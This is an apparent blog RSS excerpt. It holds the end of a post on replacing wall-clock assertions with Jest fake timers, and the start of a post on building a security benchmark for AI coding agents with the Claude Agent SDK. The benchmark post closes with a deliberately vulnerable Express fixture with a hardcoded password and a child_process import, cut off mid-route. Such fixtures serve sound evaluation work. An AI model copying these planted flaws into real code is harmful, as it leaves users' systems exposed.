&lt;p&gt;The intent: work takes ~100 ms; &lt;code&gt;minDelay&lt;/code&gt; is 50 ms; &lt;strong&gt;&lt;code&gt;elapsed &gt; minDelay&lt;/code&gt;&lt;/strong&gt; so the throttler should &lt;strong&gt;not&lt;/strong&gt; add another 50 ms (total would drift toward ~150 ms). The upper bound (&lt;code&gt;&amp;#x3C; 130&lt;/code&gt;) was trying to guard that. The lower bound (&lt;code&gt;&gt;= 100&lt;/code&gt;) still used wall-clock ms around the same flaky boundary.&lt;/p&gt;
&lt;p&gt;Fix: run that slow work under the &lt;strong&gt;same&lt;/strong&gt; fake clock and assert &lt;strong&gt;exactly&lt;/strong&gt; how much virtual time passed. If the throttler incorrectly waited an extra 50 ms, you’d need &lt;strong&gt;&lt;code&gt;advanceTimersByTimeAsync(150)&lt;/code&gt;&lt;/strong&gt; to finish — or &lt;code&gt;jest.now()&lt;/code&gt; would jump by 150 when you did advance.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ✓ Correct — fake time must be 100ms total, not ~150ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;should not add extra delay if promise already took longer than minDelay&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  jest.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;useFakeTimers&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ now: Date.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;throttler&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;PromiseThrottler&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    throttler.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;configure&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;slowPromise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; jest.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fn&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;mockImplementation&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;setTimeout&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;result&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;startedAt&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; jest.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;finished&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; throttler.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;throttle&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(slowPromise)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; jest.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;advanceTimersByTimeAsync&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; finished&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;expect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(jest.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; startedAt).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toBe&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;expect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(slowPromise).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toHaveBeenCalledTimes&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;finally&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    jest.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;useRealTimers&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here &lt;code&gt;jest.now()&lt;/code&gt; is the fake clock’s idea of time. After a single 100 ms advance, the throttle promise should be done, and the clock should read &lt;strong&gt;100 ms later&lt;/strong&gt; — not 150.&lt;/p&gt;
&lt;h2 id=&quot;step-5-best-practices-id-enforce-in-code-review&quot;&gt;Step 5: Best practices I’d enforce in code review&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Don’t use &lt;code&gt;Date.now()&lt;/code&gt; or &lt;code&gt;performance.now()&lt;/code&gt; to unit-test timer behavior.&lt;/strong&gt; Use fake timers, or spy on &lt;code&gt;setTimeout&lt;/code&gt; and assert delay arguments and call counts, or extract a &lt;code&gt;clock&lt;/code&gt;/&lt;code&gt;sleep&lt;/code&gt; dependency and inject a test double.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scope fake timers narrowly.&lt;/strong&gt; &lt;code&gt;try&lt;/code&gt; / &lt;code&gt;finally&lt;/code&gt; with &lt;code&gt;useRealTimers()&lt;/code&gt; per test (or per &lt;code&gt;describe&lt;/code&gt; if every test in the block is timer-driven). Mixing fake and real timers in one file without resetting is a common source of “passes alone, fails in full suite.”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Flush microtasks before &lt;code&gt;advanceTimersByTimeAsync&lt;/code&gt;.&lt;/strong&gt; The pattern &lt;code&gt;await Promise.resolve()&lt;/code&gt; (sometimes twice) is boring but reliable — without it, you race the scheduler.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;When production uses &lt;code&gt;Date.now()&lt;/code&gt; for elapsed work, your test’s wall-clock span is not the same variable.&lt;/strong&gt; The implementation measures time &lt;strong&gt;inside&lt;/strong&gt; &lt;code&gt;processQueue&lt;/code&gt; around &lt;code&gt;await promiseFunction()&lt;/code&gt;. Your test’s outer &lt;code&gt;Date.now()&lt;/code&gt; includes queue setup, microtasks, and &lt;code&gt;setImmediate&lt;/code&gt; churn. You’re not even asserting the same interval.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Relaxing &lt;code&gt;&gt;= 100&lt;/code&gt; to &lt;code&gt;&gt;= 99&lt;/code&gt; is a band-aid.&lt;/strong&gt; It doesn’t fix the category error (wall clock vs. behavior), and it makes regressions easier to sneak in.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;things-that-surprised-us&quot;&gt;Things that surprised us&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;The first green fix didn’t kill CI.&lt;/strong&gt; We only converted the “minimum delay” test. The “no extra delay” test still used real timers and the same &lt;code&gt;&gt;= 100&lt;/code&gt; assertion. Same failure mode, different test name. If you fix one flaky timer test in a file, grep for &lt;code&gt;Date.now()&lt;/code&gt;, &lt;code&gt;performance.now()&lt;/code&gt;, and bare &lt;code&gt;setTimeout&lt;/code&gt; expectations in the rest of the suite.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A “strict” fake-timer sequence of &lt;code&gt;advance(minDelay - 1)&lt;/code&gt; then &lt;code&gt;advance(1)&lt;/code&gt; is wrong if production schedules &lt;code&gt;setTimeout(99)&lt;/code&gt;.&lt;/strong&gt; When &lt;code&gt;elapsed&lt;/code&gt; is 1 ms, &lt;code&gt;remainingDelay&lt;/code&gt; is 99. Advancing 99 ms already fires the timer — so asserting “not settled after 99 ms” fails. We used “advance 100 then await” for the fast-path test instead of over-fitting to a single internal delay value.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Node version skew made the flake feel like a platform bug.&lt;/strong&gt; 20 and 24 passed; 22 failed. That’s a signal to distrust the test harness, not to bisect the Node changelog first. Timer and &lt;code&gt;Date.now()&lt;/code&gt; coupling really is version- and load-sensitive.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Jest’s fake &lt;code&gt;Date.now()&lt;/code&gt; and &lt;code&gt;jest.now()&lt;/code&gt; move together when configured.&lt;/strong&gt; That’s what makes &lt;code&gt;jest.now() - startedAt === 100&lt;/code&gt; a valid stand-in for “no extra 50 ms” in the slow-work scenario — the throttler’s internal &lt;code&gt;Date.now()&lt;/code&gt;-based &lt;code&gt;elapsed&lt;/code&gt; sees the same virtual timeline.&lt;/p&gt;
&lt;h2 id=&quot;where-to-take-it-from-here&quot;&gt;Where to take it from here&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Inject a clock&lt;/strong&gt; — &lt;code&gt;({ now, schedule })&lt;/code&gt; passed into the throttler — so production and tests share one abstraction and you can unit-test without Jest timer mocks at all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Property-style tests&lt;/strong&gt; — generate random &lt;code&gt;minDelay&lt;/code&gt; / work durations under fake time and assert invariants (never negative sleep, total virtual time within bounds).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audit other packages&lt;/strong&gt; — search your org for &lt;code&gt;toBeGreaterThanOrEqual(10&lt;/code&gt; and &lt;code&gt;Date.now()&lt;/code&gt; in the same test; you’ll find more of these.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Document CI matrix policy&lt;/strong&gt; — if you test multiple Node versions, timer tests are where you’ll feel the spread first; fake timers keep the matrix informative instead of noisy.&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>How to Build a Coding Agent Benchmark with Claude&apos;s Agent SDK</title><link>https://lirantal.com/blog/how-to-build-a-coding-agent-benchmark-with-claudes-agent-sdk/</link><guid>https://lirantal.com/blog/how-to-build-a-coding-agent-benchmark-with-claudes-agent-sdk/</guid><description>A step-by-step walkthrough of building a benchmarking framework for AI coding agents using the Claude Agent SDK, including architecture decisions, scoring strategies, and code examples.</description><pubDate>Sun, 29 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So you’re building with AI coding agents and you want to know: is Claude Opus actually better than Sonnet for this task? Does adding a security-specific MCP server improve results? How many tokens does it burn per run, and is that sustainable?&lt;/p&gt;
&lt;p&gt;These are benchmarking questions, and “I ran it a few times and it seemed fine” doesn’t cut it. You need a systematic harness that runs the same tasks against different configurations, scores the results objectively, and records everything so you can compare across dimensions.&lt;/p&gt;
&lt;p&gt;This post walks through building exactly that — a benchmarking framework for AI coding agents, specifically focused on security tasks (find and fix vulnerabilities). I’ll share the architecture decisions, the gotchas we hit, and the code you can adapt for your own domain.&lt;/p&gt;
&lt;p&gt;Everything here is built on the &lt;a href=&quot;https://github.com/anthropics/claude-agent-sdk&quot;&gt;Claude Agent SDK&lt;/a&gt; (&lt;code&gt;@anthropic-ai/claude-agent-sdk&lt;/code&gt;), TypeScript, and Node 24.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;what-are-we-benchmarking-exactly&quot;&gt;What are we benchmarking, exactly?&lt;/h2&gt;
&lt;p&gt;The benchmark answers three questions for every agent run:&lt;/p&gt;





















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Question&lt;/th&gt;&lt;th&gt;Metric&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Quality&lt;/strong&gt; — did it do the right thing?&lt;/td&gt;&lt;td&gt;Score (precision, recall, F1)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Cost&lt;/strong&gt; — how expensive was it?&lt;/td&gt;&lt;td&gt;Token counts (4 types), wall time&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Behavior&lt;/strong&gt; — how did it work?&lt;/td&gt;&lt;td&gt;Tool calls, files scanned, turns taken&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;We have two eval categories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;find-vulns&lt;/strong&gt;: Give the agent a codebase with known vulnerabilities. Ask it to find them. Score it on how many it found vs. how many were real.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;fix-vulns&lt;/strong&gt;: Give the agent the same codebase. Ask it to fix everything. Score it by using another Claude model as a judge to verify the fixes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can swap in your own domain — “find bugs”, “add tests”, “implement a feature from a spec” — the framework is the same regardless.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;the-overall-architecture&quot;&gt;The overall architecture&lt;/h2&gt;
&lt;p&gt;Before diving into code, here’s the full pipeline:&lt;/p&gt;
&lt;pre class=&quot;mermaid-source-block&quot;&gt;&lt;code class=&quot;language-mermaid&quot;&gt;flowchart TD
    A([&quot;pnpm run benchmark&quot;]) --&gt; B

    subgraph SETUP[&quot;① Setup&quot;]
        B[&quot;Load tasks from\nevals/tasks/*.json&quot;] --&gt; C
        C[&quot;Load configs from\nevals/run-configs.json&quot;] --&gt; D
        D[&quot;Cartesian product:\ntasks × configs&quot;]
    end

    D --&gt; E

    subgraph RUN[&quot;② For each task × config pair&quot;]
        E{fix-vulns?}
        E --&gt;|yes| F[&quot;Copy fixture to\ntemp dir&quot;]
        E --&gt;|no| G[&quot;Use fixture dir\ndirectly&quot;]
        F --&gt; H
        G --&gt; H
        H[&quot;Run agent via\nAgent SDK\n(runner.ts)&quot;] --&gt; I
        I[&quot;Collect metrics:\ntokens, turns, tools,\nfiles scanned&quot;]
    end

    I --&gt; J

    subgraph SCORE[&quot;③ Score&quot;]
        J{category?}
        J --&gt;|find-vulns| K[&quot;Parse FINDINGS_JSON\nfrom agent output\nCompute precision/recall/F1&quot;]
        J --&gt;|fix-vulns| L[&quot;Run Claude Haiku\nas judge on\nmodified files&quot;]
    end

    K --&gt; M
    L --&gt; M

    subgraph REPORT[&quot;④ Report&quot;]
        M[&quot;printResult()\nto console&quot;] --&gt; N
        N[&quot;Append to\nresults/*.jsonl&quot;]
    end&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The key insight is that a “run” is always one &lt;code&gt;(task, config)&lt;/code&gt; pair. You get a matrix of results. Comparing Opus vs Sonnet on the same task is just two rows in that matrix.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-1-the-fixtures--intentionally-broken-code&quot;&gt;Step 1: The fixtures — intentionally broken code&lt;/h2&gt;
&lt;p&gt;A fixture is a small codebase with known vulnerabilities. The agent is given this as its working directory.&lt;/p&gt;
&lt;p&gt;Here’s our Express.js fixture (&lt;code&gt;fixtures/js-vulns/app.js&lt;/code&gt;):&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;express&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;child_process&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;fs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;fs&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;DB_CONFIG&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  host: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;localhost&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  user: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;admin&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  password: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;supersecretpassword123&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// hardcoded credentials&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  database: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;users_db&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/users&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
